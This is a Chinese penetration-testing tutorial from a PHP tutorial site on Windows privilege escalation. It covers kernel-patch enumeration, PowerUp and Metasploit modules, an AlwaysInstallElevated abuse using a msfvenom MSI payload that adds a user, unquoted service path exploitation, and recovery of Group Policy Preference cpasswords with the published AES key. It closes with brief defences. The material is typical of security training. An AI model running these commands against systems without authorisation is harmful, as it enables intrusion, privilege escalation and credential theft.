0

0

内网渗透基石篇--权限提升

蓮花仙者

蓮花仙者

发布时间:2025-09-21 08:42:08

|

798人浏览过

|

来源于php中文网

原创

一、基础知识

windows中,权限大概分为四种,分别是User、Administrator、System、TrustedInstallerTrus

1.user:普通用户权限,是系统中最安全的权限(因为分配给改组的默认权限不允许成员操作修改操作系统的设置或用户资料)

2.Administrator:管理员权限。可以利用windows的机制将自己提升为system权限,以便操作SAm文件

3.System:系统权限。可以对sam等敏感文件进行读取,往往需要将administrator权限提升到system权限才可以对散列值进行DUmp操作

4.TrustedInstaller:window中的最高权限,对系统文件,即将拥有system权限也无法进行获取散列值、安装软件、修改防火墙规则、修改注册表等

纵向提权:低权限角色获得高权限角色的权限,例如,一个webshell权限通过提权,拥有了管理员权限,这种提权就是纵向提权。

横向提权:获取同级别角色的权限。

二、系统内核溢出漏洞提权分析及防范

溢出漏洞就像往杯子里面装水— 如果水太多,杯子装不下了,就会溢出来。

系统内核溢出漏洞提权是一种通用的提权方法,攻击者通常可以使用该方法绕过系统的所有安全限制。攻击者利用该漏洞的关键是目标系统没用及时补丁。

1. 通过手动执行命令发现缺失补丁

1.whoami/groups

内网渗透基石篇--权限提升
2.查看目标机器的补丁 systeminfo
内网渗透基石篇--权限提升
3.使用wmic 命令:wmic qfe get Caption,Description ,HotFixID,InstalledOn
内网渗透基石篇--权限提升

实验1:

2 .利用Metasploit发现缺失补丁

内网渗透基石篇--权限提升
内网渗透基石篇--权限提升

3. windows exploit suggseter

下载地址:

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

内网渗透基石篇--权限提升
内网渗透基石篇--权限提升
内网渗透基石篇--权限提升

拿到session必做的2件事,可以快速识别系统可以利用的漏洞,比如提权~

代码语言:javascript代码运行次数:0运行复制
use post/windows/gather/enum_patchesuse post/multi/recon/local_exploit_suggester

4 PowerShell 的sherlock脚本

内网渗透基石篇--权限提升
内网渗透基石篇--权限提升
三、windows 操作系统配置错误利用分析及规范

前言:在windows操作系统中,攻击者通常会通过系统内核溢出漏洞来提权,但如果碰到无法通关系统溢出漏洞提取所在服务器权限的情况,就会利用系统中的配置错误来提权。

系统服务权限配置错误

windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。

windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务

系统服务权限配置错误(可写目录漏洞)有如下两种可能。

1.PowerUP下的实战利用

下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1

内网渗透基石篇--权限提升
代码语言:javascript代码运行次数:0运行复制
powershell.exe -exec bypass -Command "& {import-Module .\Powerup.ps1; Invoke-AllChecks}"
内网渗透基石篇--权限提升
代码语言:javascript代码运行次数:0运行复制
Powershell.exe -nop -exec bypass "IEX(New-Object Net.WebClient).DownloadString('C:\PowerUp.ps1'); Invoke-AllChecks"
内网渗透基石篇--权限提升
内网渗透基石篇--权限提升
2.Metasploit下的实战利用
内网渗透基石篇--权限提升
内网渗透基石篇--权限提升

2 注册表键 ALwaysINstallElevated

允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。

windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。

在运行中输入

gpedit.msc
,然后以管理员方式打开:

WIndows INstaller的相关知识点

内网渗透基石篇--权限提升
内网渗透基石篇--权限提升

通过命令查询是否开启

代码语言:javascript代码运行次数:0运行复制
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
代码语言:javascript代码运行次数:0运行复制
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

开启返回:

代码语言:javascript代码运行次数:0运行复制
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer
代码语言:javascript代码运行次数:0运行复制
AlwaysInstallElevated REG_DWORD 0x1
代码语言:javascript代码运行次数:0运行复制
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
代码语言:javascript代码运行次数:0运行复制
AlwaysInstallElevated REG_DWORD 0x1

未开启就会返回

系统找不到指定的注册表项或值

如果系统开启了AlwaysInstallElevated,可以使用msfvenom创建恶意msi文件,然后使用

msiexec
进行开火

代码语言:javascript代码运行次数:0运行复制
msfvenom -f msi -p windows/adduser USER=msi PASS=Yoga123!@ -o /root/msi.msi
代码语言:javascript代码运行次数:0运行复制
msiexec /quiet /qn /i d:\msi.msi
代码语言:javascript代码运行次数:0运行复制
# /quiet 安装过程中禁止向用户发送消息
代码语言:javascript代码运行次数:0运行复制
# /qn 不使用GUI
代码语言:javascript代码运行次数:0运行复制
# /i 安装程序

或者直接使用

exploit/windows/local/always_install_elevated
模块提至System权限

内网渗透基石篇--权限提升
计划任务

适用系统版本:

at 是一个发布定时任务计划的命令行工具,语法比较简单。通过at命令发布的定时任务计划,Windows默认以System权限运行。定时任务可以是批处理,也可以是一个二进制文件

语法:

at 11:00PM calc.exe
/interactive
可以开启界面交互模式

利用

Regsvr32+exploit/multi/script/web_delivery
模块

内网渗透基石篇--权限提升
3.PowrUp下的实战利用

1.powershell -nop -exec bypass IEX(New-Object

代码语言:javascript代码运行次数:0运行复制
Net.WebClient).DownloadString('C:\Users\testuser\Desktop\Sherlock-master\PowerUp.ps1');Get-RegistryAlwaysInstallElevated
代码语言:javascript代码运行次数:0运行复制
Get-RegistryAlwaysInstallElevatedWrite-UserAddMSI
内网渗透基石篇--权限提升
代码语言:javascript代码运行次数:0运行复制
msiexec.exe /q /i UserAdd.msi
内网渗透基石篇--权限提升
四、 可信任服务路径漏洞

利用了windows文件路径解析的特性,如果一个服务调用的可执行文件没有正确处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件。

通俗的说,如果一个服务的可执行文件的路径(带空格)没有被双引号引起来,那么这个服务就有漏洞。

一个例子,编译之后存放在为

C:\Program Files\Test\test.exe

代码语言:javascript代码运行次数:0运行复制
#include int main(int argc, char *argv[]){printf("[*] Executed %s\n", argv[0]);}

从命令行直接通过其绝对路径执行该程序:

代码语言:javascript代码运行次数:0运行复制
$ "C:\Program Files\Test\test.exe"[*] Executed C:\Program Files\Test\test.exe$ C:\Program Files\Test\test.exe'C:\Program' 不是内部或外部命令,也不是可运行的程序或批处理文件。#将test改为Program.exe之后并放入C盘下 $ C:\Program Files\Test\test.exe[*] Executed C:\Program

对于上面的空格,Windows都会尝试寻找并执行名字与空格前的名字相匹配的程序,所以不加引号的时候就会报错。此时,假如能上传一个适当命名的后门程序,那么当服务重启的时候就会以system权限运行(大多数情况下)

所以,理论上一个服务的可执行文件的路径没有用双引号封闭,且包含空格,那么就是存在漏洞的

检测是否存在漏洞代码语言:javascript代码运行次数:0运行复制
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
检查对有漏洞的目录是否具有写入权限代码语言:javascript代码运行次数:0运行复制
icacls "C:\Program Files"
使用
trusted_service_path
模块

Trusted Service Paths漏洞产生的原因

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

比如:

C:\Program Files\Some Folder\Service.exe

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe

所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,服务一旦重启,我们的恶意程序就会以system权限运行(大多数情况下)。

1.Metasploit下的实战利用

1.先检测目标主机是否存在该漏洞。理论上讲,如果一个服务的可执行文件的路径没有用双引号封闭,并且包含空格,那么这个服务就是有漏洞的。我们在meterpreter shell命令提示符下输入shell命令进入目标机cmd下,然后使用下列wmi查询命令来列举受害者机器上所有的没有加引号的服务路径(除去了windows本身的服务)。

代码语言:javascript代码运行次数:0运行复制
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

可以看到,有“Vulnerable Service”、“OmniServ”、“OmniServer”、“OmniServers”四个服务对应的二进制文件路径没有引号包含起来,并且路径中包含空格。是存在该漏洞的,但在上传可执行文件进去之前,我们需要确定我们对目标文件夹是否有写入的权限。

2.检查对有漏洞目录是否有写入的权限,这个很关键。这里我们使用Windows内建的一个工具,icacls,下面我们用这个工具依次来检查

phpscup轻量级cms系统1.1 beta GBK
phpscup轻量级cms系统1.1 beta GBK

PHPSCUP是一套追求简洁易用很务实的系统!PHPSCUP能满足大多数的初级企业网站用户。系统内置企业简介模块、新闻模块、产品模块、人才模块、在线留言模块、单篇文章模块、友情链接模块、单篇文章模块、图片轮播模块、下载模块。遵循SEO标准,通过模板或者定制为企业提供专业的营销型网站,该系统采用PHP+MySQL组合开发,具备安全、高效、稳定等基本特性。主要功能特色体现在:权限分配:权限分配功能非常

下载

“C:\Program Files”

“C:\Program Files\Common Files”

“C:\Program Files\Common Files\microsoft shared”

内网渗透基石篇--权限提升

“Everyone”用户对这个文件有完全控制权,就是说所有用户都具有全部权限修改这个文件夹。参数说明:“M”表示修改,“F”代表完全控制,“CI”代表从属容器将继承访问控制项,“OI”代表从属文件将继承访问控制项。这意味着对该目录有读,写,删除其下的文件,删除该目录下的子目录的权限。

3.我们确认了目标主机存在此漏洞后,将便开始正式攻击,Metasploit中相对应的是Windows Service Trusted Path Privilege Escalation本地利用模块,该模块会将恶意的可执行程序放到受影响的文件夹中去,然后将受影响的服务重启。接着我们输入命令background,把当前的meterpreter shell转为后台执行。然后在Metasploit中搜索trusted_service_path模块

内网渗透基石篇--权限提升

4 自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置条件。

C:\sysprep.ing

C:sysC:sysprp.xml

C:\windows\system32\sysrep.inf

内网渗透基石篇--权限提升

可以在metasploit中利用这个漏洞:

内网渗透基石篇--权限提升

5. 计划任务

AccessChk用于在windows中进行一些高级查询、管理和故障排除工作。由于它是微软官方提供的工具,所以杀毒软件不会有告警。如果黑客对以高权限运行的任务,所在的目录具有写权限,那么就可以使用恶意程序覆盖原有的程序。这样,在计划任务下次执行的时候,就会以高权限运行恶意程序。

通过AccessChk查看指定目录的权限配置情况:

代码语言:javascript代码运行次数:0运行复制
accesschk64.exe -dqv "C:\Microsoft" -accepteula-

6 Empire 内置模块

Empire内置了PowerUp的部分模块。输入”usermodule prives/powerup”

五、 组策略首选项提权分析及防范

sysvol是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。sysvol文件夹是在安装活动目录时自动创建的,主要用来存放登陆脚本、组策略数据、其他域控制器需要的域信息。

sysvol在所有经过身份验证的域用户、域信任用户具有读权限的活动目录的域范围内共享,整个sysvol目录在所有的域控制器中是自动同步和共享的,所有的域策略都存放在sysvol下。为方便对所有机器进行操作,网络管理员会使用域策略进行统一的配置和管理,那么所有机器的本地管理员密码就是一样的,黑客就是利用这一点。

内网渗透基石篇--权限提升
1.常见的组策略首选项:2 组策略首选项提取分析

1.创建组策略,批量修改域中机器的本地管理员密码

内网渗透基石篇--权限提升

进入「计算机配置」下的「首选项」,就可以更新一个用户啦。

内网渗透基石篇--权限提升

计算机配置中的账户策略,也只是设置密码的复杂度、长度、过期时间等~

内网渗透基石篇--权限提升
3.获取组策略的凭据

1.手动查找

浏览SysVQL文件夹,获取相关文件

内网渗透基石篇--权限提升

也可以使用type命令搜索。

2.使用powershell获取cpassword

下载地址:

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Get-GPPPassword.ps1

操作过程:

1.首先打开Windows资源管理器,并搜索域名为SYSVOL DFS共享的XML文件。在大多数情况下,以下XML文件将包含凭据:groups.xml,scheduledtasks.xml和&Services.xml,Printers.xml ,Drives.xml.

SYSVOL是所有经过身份验证的用户具有读访问权限的Active Directory中的域范围共享

SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。

SYSVOL包含登录脚本,组策略数据以及需要在任何有域控制器的任何地方可用的其他域范围数据(因为SYSVOL在所有域控制器之间自动同步并共享)。

所有域组策略都存储在这里:\\ SYSVOL \\ Policies \

注意:C:\Windows\SYSVOL目录下,只有创建组策略脚本登录才能有策略脚本配置文件groups.xml,默认是没有的

当创建新的GPP时,在SYSVOL中创建了一个与相关配置数据相关联的XML文件,如果提供了密码,那么AES-256位加密应该足够强的。

用于加密任何域中的所有组策略首选项密码的32字节AES密钥:

4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8

f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b

内网渗透基石篇--权限提升

命令:

3.使用Metasploit获取cpassword

内网渗透基石篇--权限提升

4.使用Empire查找cpassword

命令:usemodule privesc/gpp

实验:gpp组策略搭建

让我们看一个例子,说明通过组策略定义本地用户登录。它从创建和编辑组策略对象开始:

内网渗透基石篇--权限提升

在域组织中的组策略对象中创建一个登录账号脚本策略:名称为:

gpp_local_login:

内网渗透基石篇--权限提升
内网渗透基石篇--权限提升

选择新建的组策略gpp_local_login然后编辑:

内网渗透基石篇--权限提升
内网渗透基石篇--权限提升

用户配置—-控制面板设置—-本地用户和组—新建-本地用户中添加一个脚本登录。

内网渗透基石篇--权限提升
内网渗透基石篇--权限提升

可以看到域控制器行创建了本地组策略的文件:

内网渗透基石篇--权限提升

通过网络共享可以访问到GPP的组策略的文件:

内网渗透基石篇--权限提升

打开可以看到存储的cpasword密码:

内网渗透基石篇--权限提升
六、 针对组策略首选项提取的防御措施

1.设置共享文件夹SYSVOL的访问权限

2.将包含组策略密码的XMl文件从SYSVOl目录中删除

3.不要把密码放在所有域用户都有权访问的文件中

4.如果需要更改域中机器的本地管理员密码,建议使用LAPs

总结:

本文主要从内网权限提升出发,主要介绍一些低权限用户如何通过一些工具和脚本来获取一些高权限。中间介绍了一些脚本和工具的使用,还做了几个实验来理解这些工具。

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
session失效的原因
session失效的原因

session失效的原因有会话超时、会话数量限制、会话完整性检查、服务器重启、浏览器或设备问题等等。详细介绍:1、会话超时:服务器为Session设置了一个默认的超时时间,当用户在一段时间内没有与服务器交互时,Session将自动失效;2、会话数量限制:服务器为每个用户的Session数量设置了一个限制,当用户创建的Session数量超过这个限制时,最新的会覆盖最早的等等。

315

2023.10.17

session失效解决方法
session失效解决方法

session失效通常是由于 session 的生存时间过期或者服务器关闭导致的。其解决办法:1、延长session的生存时间;2、使用持久化存储;3、使用cookie;4、异步更新session;5、使用会话管理中间件。

748

2023.10.18

cookie与session的区别
cookie与session的区别

本专题整合了cookie与session的区别和使用方法等相关内容,阅读专题下面的文章了解更详细的内容。

91

2025.08.19

pdf怎么转换成xml格式
pdf怎么转换成xml格式

将 pdf 转换为 xml 的方法:1. 使用在线转换器;2. 使用桌面软件(如 adobe acrobat、itext);3. 使用命令行工具(如 pdftoxml)。本专题为大家提供相关的文章、下载、课程内容,供大家免费下载体验。

1897

2024.04.01

xml怎么变成word
xml怎么变成word

步骤:1. 导入 xml 文件;2. 选择 xml 结构;3. 映射 xml 元素到 word 元素;4. 生成 word 文档。提示:确保 xml 文件结构良好,并预览 word 文档以验证转换是否成功。想了解更多xml的相关内容,可以阅读本专题下面的文章。

2091

2024.08.01

xml是什么格式的文件
xml是什么格式的文件

xml是一种纯文本格式的文件。xml指的是可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。想了解更多相关的内容,可阅读本专题下面的相关文章。

1056

2024.11.28

github中文官网入口 github中文版官网网页进入
github中文官网入口 github中文版官网网页进入

github中文官网入口https://docs.github.com/zh/get-started,GitHub 是一种基于云的平台,可在其中存储、共享并与他人一起编写代码。 通过将代码存储在GitHub 上的“存储库”中,你可以: “展示或共享”你的工作。 持续“跟踪和管理”对代码的更改。

693

2026.01.21

windows查看端口占用情况
windows查看端口占用情况

Windows端口可以认为是计算机与外界通讯交流的出入口。逻辑意义上的端口一般是指TCP/IP协议中的端口,端口号的范围从0到65535,比如用于浏览网页服务的80端口,用于FTP服务的21端口等等。怎么查看windows端口占用情况呢?php中文网给大家带来了相关的教程以及文章,欢迎大家前来阅读学习。

732

2023.07.26

Python 自然语言处理(NLP)基础与实战
Python 自然语言处理(NLP)基础与实战

本专题系统讲解 Python 在自然语言处理(NLP)领域的基础方法与实战应用,涵盖文本预处理(分词、去停用词)、词性标注、命名实体识别、关键词提取、情感分析,以及常用 NLP 库(NLTK、spaCy)的核心用法。通过真实文本案例,帮助学习者掌握 使用 Python 进行文本分析与语言数据处理的完整流程,适用于内容分析、舆情监测与智能文本应用场景。

9

2026.01.27

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
Rust 教程
Rust 教程

共28课时 | 4.9万人学习

JavaScript
JavaScript

共185课时 | 20.8万人学习

【web前端】Node.js快速入门
【web前端】Node.js快速入门

共16课时 | 2万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号